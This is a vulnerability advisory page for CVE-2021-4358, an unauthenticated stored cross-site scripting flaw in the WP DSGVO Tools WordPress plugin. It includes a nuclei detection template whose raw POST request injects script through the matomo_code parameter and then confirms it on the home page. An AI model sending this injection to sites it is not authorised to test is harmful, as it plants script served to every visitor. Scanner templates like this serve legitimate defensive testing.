WP DSGVO Tools (GDPR) <= 3.1.22 - Unauthenticated Stored Cross-Site Scripting

highseverity

7.2CVSS score

1.3%likelihood of exploitation, next 30 days

71%of all CVEs are less likely

Readycheck to confirm it

The WP DSGVO Tools (GDPR) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via an unknown parameter in versions up to, and including, 3.1.23 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Impact

Arbitrary JavaScript execution in the browser of every visitor to the site, enabling session theft, admin account takeover, and site defacement.

Fix

Update WP DSGVO Tools (GDPR) to 3.1.24 or later, which escapes the integration tracking code and restricts the integration save handlers.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 302 || status_code == 200
Send: GET /
Positive when: contains "alert(document.domain)//{{marker}}" AND status 200

Run it with nuclei: nuclei -id CVE-2021-4358 -u <target>

The full check

id: CVE-2021-4358

info:
  name: WP DSGVO Tools (GDPR) <= 3.1.22 - Unauthenticated Stored Cross-Site Scripting
  author: DhiyaneshDk
  severity: high
  description: |
    The WP DSGVO Tools (GDPR) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via an unknown parameter in versions up to, and including, 3.1.23 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
  impact: |
    Arbitrary JavaScript execution in the browser of every visitor to the site, enabling session theft, admin
    account takeover, and site defacement.
  remediation: |
    Update WP DSGVO Tools (GDPR) to 3.1.24 or later, which escapes the integration tracking code and restricts the
    integration save handlers.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-4358
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/shapepress-dsgvo
    - https://patchstack.com/database/wordpress/plugin/shapepress-dsgvo/vulnerability/
    - https://plugins.trac.wordpress.org/changeset?old_path=/shapepress-dsgvo/tags/3.1.23&new_path=/shapepress-dsgvo/tags/3.1.24
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2021-4358
    epss-score: 0.00779
    epss-percentile: 0.56224
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: shapepress
    product: shapepress-dsgvo
    framework: wordpress
    publicwww-query: "/wp-content/plugins/shapepress-dsgvo/"
  tags: cve,cve2021,wordpress,wp-plugin,shapepress-dsgvo,dsgvo,xss,unauth,intrusive,vkev

variables:
  marker: "{{to_lower(rand_text_alpha(14))}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=SPDSGVO-integration-matomo&matomo_enable=1&matomo_tag_number=1&matomo_implementationMode=on-premises&matomo_code=alert(document.domain)//{{marker}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 302 || status_code == 200"
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert(document.domain)//{{marker}}"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from